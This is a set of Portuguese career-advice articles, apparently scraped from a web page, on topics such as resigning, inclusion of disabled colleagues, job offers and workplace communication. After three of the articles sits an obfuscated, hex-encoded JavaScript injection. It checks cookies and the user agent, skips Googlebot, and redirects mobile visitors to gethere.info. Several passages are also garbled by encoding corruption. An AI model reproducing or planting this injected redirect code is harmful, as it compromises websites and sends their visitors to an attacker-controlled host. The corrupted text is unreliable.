Muitas vezes, nos deparamos com situações difíceis na vida pessoal e que terão impacto direto no nosso dia a dia profissional. Em um caso, por exemplo, de uma doença grave na família, é muito difícil que isso não afete a sua rotina.
É comum, inicialmente, não querermos dividir essa situação com colegas ou com o gestor, mas situações como essa podem requerer um suporte maior, principalmente da sua equipe de trabalho.
Caso você precise se ausentar no horário de expediente para acompanhar o tratamento de um ente querido, por exemplo, é importante conversar com seu gerente e buscar conjuntamente alternativas para dar conta das atividades que não podem ser delegadas. Além disso, distribuir algumas atividades pode ser um ponto importante para não passar a ideia de descompromisso e não prejudicar os resultados.
Mesmo que você não queira que as pessoas saibam da situação, apenas faltar ao trabalho ou pedir constantemente para sair mais cedo, pode passar a ideia errada sobre você. Contar com alguns suportes pode ser imprescindível nesse momento. Pedir ajuda é fundamental e você pode ser surpreendido pela solidariedade daqueles que te cercam.
Muitas empresas e profissionais ainda não estão preparados para trabalhar com pessoas com necessidades específicas. Mas mesmo para aqueles que não sabem se comunicar em Libras (Língua Brasileira de Sinais) ou como se apresentar a uma pessoa que não enxerga é fundamental ter alguns cuidados.
Primeiramente, tenha em mente que nem sempre as pessoas com necessidades específicas precisam de ajuda. Mas, se você encontrar, por exemplo, alguma pessoa cega ou com baixa visão que pareça estar em dificuldades, identifique-se e faça-a perceber que você está falando com ela.
Ao cumprimentá-la, diga seu nome para que ela possa lhe identificar (por exemplo, “Bom dia André, aqui é Paula”). Da mesma forma, responder perguntas como “Onde está o material?” com um “Está aqui” não terá efeito alguma para um colega que não enxerga. Ele irá perguntar: “Aqui onde?”.
Também é importante descrever para o colega cego o ambiente em que ele está inserido e a disposição de móveis e utensílios, ajudando-o na sua orientação espacial. Caso a pessoa tenha algum impedimento auditivo, falar de frente para ela e permitir a leitura labial é fundamental.
Se ela não estiver prestando atenção em você, acene para ela ou toque, levemente, em seu braço. Fale de maneira clara, pronunciando bem as palavras, mas não exagere. Use a sua velocidade normal, a não ser que lhe peçam para falar mais devagar. E lembre-se: não adianta gritar para ser ouvido.
Essas parecem dicas óbvias em um primeiro momento, mas muitos cometem erros básicos ao se relacionar com colegas com alguma necessidade específica. O mais importante, no entanto, é não se acanhar em perguntar sempre, de forma direta, de que forma pode ajudá-los. Este pode ser o primeiro passo para a total inclusão.
Tão importante quanto entrar em uma nova empresa, é saber sair dela mantendo as portas abertas. A escolha de novos desafios não quer dizer que você pode descuidar das relações profissionais estabelecidas antes. Por isso, se está na hora de pedir demissão, é preciso ficar atento a certos erros corriqueiros que devem ser evitados.
A primeira atitude após decidir deixar a empresa é informar o fato ao gestor imediato. Nada de sair comentando com os colegas ou ir diretamente ao RH. A dica é marcar uma reunião, em um momento propício, para comunicar a decisão, apresentando argumentos racionais e objetivos que expliquem a sua saída.
Ao se demitir, não adianta querer “lavar a roupa suja”. Jamais fale mal da empresa, dos colegas ou do ambiente de trabalho que está deixando. É importante, sim, informar pontos de melhoria na entrevista de desligamento, mas aproveitar o momento para desabafar todas as dificuldades pode ser improdutivo.
Também é importante ser flexível e não deixar o antigo empregador na mão. Cumprir ao menos parte do aviso prévio para finalizar suas demandas e treinar substitutos são atitudes que causam uma boa impressão e mostram comprometimento.
Despedir-se dos antigos colegas e deixar os novos contatos é fundamental para manter a rede de relacionamentos. Por fim, colocar-se à disposição para ajudar caso haja alguma necessidade é, no mínimo, delicado. Lembre-se que a forma de sair de um emprego fala de você, tanto quanto a sua forma de entrada.
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Muitas vezes, aparecem novas oportunidades profissionais e ficamos na dA?vida se devemos, ou nA?o, mudar de empresa. Avaliar a oferta Ai?? fundamental para minimizar os impactos naturais que toda mudanAi??a causa.
Na vida, hA? momentos em que somos escolhidos e em outros temos a oportunidade de escolher entre algumas opAi??Ai??es. Uma situaAi??A?o como esta pode acontecer, inclusive, quanto o assunto Ai?? a nossa carreira profissional. E, nessa hora, as incertezas podem tornar a decisA?o muito difAi??cil. Por isso, quando temos o privilAi??gio de escolher qual vaga de trabalho nos interessa mais, temos que decidir com sabedoria, nA?o agindo apenas por impulso ou por simples afinidade.
Considerar a melhoria na remuneraAi??A?o na mudanAi??a de emprego nA?o Ai?? mais critAi??rio A?nico. Outros fatores precisam ser observados como o ambiente de trabalho e as polAi??ticas praticadas pela empresa em questA?o. Analise se o estilo da organizaAi??A?o combina com o seu, se o desafio proposto para o cargo Ai?? convergente com suas habilidades e com seu projeto profissional e se hA? condiAi??Ai??es de crescimento a longo prazo.
AlAi??m disso, existem vA?rios fatores que tornam um lugar atrativo para se trabalhar e que devem ser avaliados. O clima de camaradagem, as condiAi??Ai??es de trabalho e o modelo de gestA?o tambAi??m sA?o fatores relevantes. Depois de analisar esses pontos, vale a pena comparar com o lugar onde vocA? estA? trabalhando atAi?? entA?o.
Mas Ai?? importante lembrar que nA?o existe ambiente perfeito. Todo lugar tem suas dificuldades e nA?o devemos idealizar para nA?o gerar uma frustraAi??A?o desnecessA?ria no futuro.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Em um mundo conectado, globalizado e com oportunidades diversas, é cada vez mais comum a convivência com pessoas de várias origens culturais, inclusive no ambiente de trabalho. Você se preparou para trabalhar numa equipe com referências distintas às suas? Como lidar com a diversidade?
Primeiramente, é importante compreender que quando falamos de diversidade, estamos nos referindo a um conjunto de características de um grupo social e que o distingue de outros.
Saber manejar as diferenças entre os individuos para trabalhar bem em equipe é uma competência cada vez mais valorizada nas organizações. Muitas empresas já estimulam a convivência de profissionais de diversas nacionalidades através de projetos estratégicos e políticas de transferência. Além disso, não há equipe que se firme baseada em preconceitos.
Embora o traquejo com colegas com diferentes antecedentes, contextos socioculturais e formações técnicas seja um desafio, é necessário ter capacidade de adaptação e tolerância com as diferenças. Para isso, desenvolver o senso de cooperação e o foco nos resultados e no trabalho de vencer preconceitos é fundamental.
Erros comuns que profissionais costumam cometer são partir para generalizações e pensar nos colegas de equipe a partir de estereótipos. Por exemplo, achar que mulheres que têm filhos não podem se dedicar à equipe da forma necessária ou que um colega tem determinada característica apenas por ser de um grupo étnico ou de uma nacionalidade específica (como exemplos, achar que todos os alemães são organizados ou que todos os baianos são preguiçosos).
Embora possa parecer difícil de lidar e fácil para cair em lugares comuns, a convivência com outros traços culturais na equipe pode, sim, trazer benefícios tanto pessoais, quanto profissionais. Esta, cada vez mais, será uma competência importante para os profissionais que querem se destacar.
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Sou um jovem profissional e recebi um convite da minha empresa para ir trabalhar em um projeto fora do paAi??s. Como nA?o tenho experiA?ncia em viagens, estou com medo de correr esse risco. Como me preparar?
Ao se deparar com uma oportunidade como essa, inicialmente, Ai?? necessA?rio valorizar o reconhecimento recebido. Se a empresa convida um jovem profissional a trabalhar no exterior, Ai?? porque ele tem caracterAi??sticas estratAi??gicas e necessA?rias para o projeto. Agradecer por esse convite Ai?? importante.
Depois, Ai?? hora de conhecer melhor o novo empreendimento e traAi??ar o planejamento de carreira para o perAi??odo. Converse com o seu gestor e com os envolvidos no futuro projeto sobre as expectativas em relaAi??A?o aos resultados. TambAi??m Ai?? importante pedir dicas aos colegas mais experientes sobre como lidar com viagens de trabalho ao exterior.
Por se tratar de uma mudanAi??a tambAi??m cultural, Ai?? preciso conhecer caracterAi??sticas como vestimentas, formas de tratamento pessoal, profissional e costumes do novo local. Existem atitudes normais no Brasil, por exemplo, que, em outras culturas, podem ser mal interpretadas ou atAi?? mesmo mal vistas.
TambAi??m fique atento Ai??s questAi??es burocrA?ticas, como moradia, plano de saA?de, documentaAi??A?o, cursos de lAi??nguas e a parte financeira. Como o convite vem da empresa, ela deve dar suporte na resoluAi??A?o desses tA?picos. Converse com o RH para saber como lidar com esses pontos e verifique, tambAi??m, como fica a situaAi??A?o do Imposto de Renda.
Embora a quantidade de questAi??es para lidar seja grande e possa atAi?? assustar no comeAi??o, a experiA?ncia pode trazer ganhos inesperados tanto do ponto de vista profissional, quanto do pessoal.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Muitas pessoas passam boa parte da vida se perguntando quando serão felizes no trabalho. A felicidade é um conceito abstrato e significa algo diferente para cada indivíduo. Por isso, para descobrir se você é feliz profissionalmente, é muito importante fazer uma autoavaliação.
O que me realiza no campo profissional? Estou na carreira que gosto? Minhas expectativas são condizentes com a realidade? Vou conseguir realizar meus projetos profissionais nesta empresa? Essas são algumas perguntas fundamentais para qualquer pessoa que esteja se questionando sobre sua felicidade na área profissional.
Fazer o que gosta e ter um ambiente saudável de trabalho são fundamentais. Nesta busca pela realização plena, vale também avaliar se existem fatores pessoais que estão impactando na sua vida profissional. O profissional que se sente realizado não é necessariamente aquele que tem o cargo mais elevado na empresa, mas aquele que gosta da atividade, se identifica com os valores da organização e que tem sua competência reconhecida.
Se após a autoavaliação, os resultados não foram positivos, não adianta apenas buscar culpados para a sua infelicidade. Vale a pena repensar se sua postura precisa ser trabalhada. Se achar que está na atividade errada, pode procurar um profissional e montar uma estratégia de carreira. E se descobrir que não era bem isso o que queria, preparar-se para uma mudança de rumo é a primeira condição para a realização.
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Um gestor fez um comentA?rio negativo sobre meu gerente na minha frente. Como devo lidar com esta situaAi??A?o sem prejudicar o clima da empresa?
Em ocasiAi??es como esta, o primeiro Ai??mpeto pode ser contar ao seu gerente o ocorrido, como prova de lealdade. Mas antes de tomar qualquer atitude, vocA? pode aproveitar que a reclamaAi??A?o estA? sendo feita para vocA? e tentar ajudar o outro a posicionar melhor sua queixa.
Por exemplo, recomende que a questA?o seja tratada diretamente com seu gerente quando os A?nimos estiverem acalmados. Escutar o outro e deixar que desabafe tambAi??m pode ajudar. Pergunte o que estA? acontecendo e procure mediar.
Outra coisa que pode acontecer Ai?? vocA? estar irritado com seu gerente por algum motivo e reforAi??ar a queixa. Essa pode ser uma grande armadilha que sA? prejudica o clima a e sua imagem profissional. Nesse caso, recomenda-se falar diretamente com o seu gerente, e nA?o sobre ele.
A conversa direta pode ser a melhor soluAi??A?o para as dificuldades, uma vez que Ai?? comum que o outro nA?o tenha nem percebido seu incomodo. Espere um momento de tranquilidade – depois que a ai???poeira baixar” – e discuta em reservado. Esteja tambAi??m disposto a ouvir o que ele tem a dizer, sem ter postura defensiva. O resultado pode ser melhor do que vocA? espera.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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A prática da comunicação constante é uma ferramenta essencial para a gestão. Entretanto, nem sempre os gestores utilizam os meios de comunicação da melhor forma. Se o seu gerente envia demandas e orientações por email, mas não trata pessoalmente as questões, muitas dúvidas podem surgir e os ruídos na comunicação podem acontecer. Então, como tirar as dúvidas?
O e-mail, uma das ferramentas importantes dentro de uma empresa, pode tornar-se vilão na relação entre profissionais. O gestor que não toma cuidado com as informações enviadas por meio eletrônico pode acabar gerando dúvidas no profissional que está sendo orientado. Quando as questões não ficam bem esclarecidas, geram ruído na comunicação, e o resultado da demanda pode ser completamente avesso ao solicitado e o produto corre o risco de ficar pronto muito depois do previsto, atrasando todo o planejamento da empresa.
Meios de comunicação instantânea, a exemplo do e-mail e do WhatsApp, apesar de serem essenciais, não podem se tornar a única via de troca de informação. Tratar questões pessoalmente não pode jamais ser um item dispensável na relação empresarial, e melhorar a comunicação pode ser mais fácil do que se imagina.
O profissional orientado deve sempre informar ao gerente as dificuldades de entendimento das demandas recebidas para, juntos, buscarem uma maneira de solucionar o problema. As reuniões são ocasiões ideais para tirar dúvidas sobre resultados esperados e o padrão de qualidade desejado. Fazer perguntas ao receber um novo projeto também é muito importante e pode prevenir um resultado não satisfatório.
Mais importante ainda é combinar com o gestor a necessidade de orientações mais diretas, que podem seguir o modelo mais conveniente aos dois, seja através de reuniões pontuais ou troca de informações diárias. O que não pode é ficar calado, sem entender a mensagem e correr o risco de ter retrabalho e sua imagem comprometida.
Muito tem se falado sobre o momento econA?mico difAi??cil e crise em alguns segmentos. Em situaAi??Ai??es como esta, os profissionais podem se sentir ameaAi??ados de perder o emprego. Como podemos, entA?o, evitar uma demissA?o sem entrar em desespero ou se desmotivar?
Em tempos de instabilidade, Ai?? muito importante acompanhar o mercado, estar atento Ai??s mudanAi??as causadas pela crise e ao posicionamento que a empresa espera de seus funcionA?rios. Procure mapear quais as competA?ncias estratAi??gicas para a sua A?rea de atuaAi??A?o e avaliar quais os seus diferenciais competitivos.
Atitudes simples, como entregar suas tarefas dentro do prazo e se oferecer para ajudar em outras demandas, podem fazer a diferenAi??a entre manter ou nA?o o emprego. Ter capacidade para influenciar e motivar outros colegas, ter aptidA?o para tomar decisAi??es rA?pidas e concisas em situaAi??Ai??es complexas e ter boa capacidade de comunicaAi??A?o sA?o caracterAi??sticas importantes tambAi??m.
Por mais que seja difAi??cil manter a calma em momento de crise, Ai?? fundamental ter foco no trabalho, nA?o perder a capacidade de produzir e atentar para o relacionamento com os colegas e gestores, evitando uma competiAi??A?o desleal.
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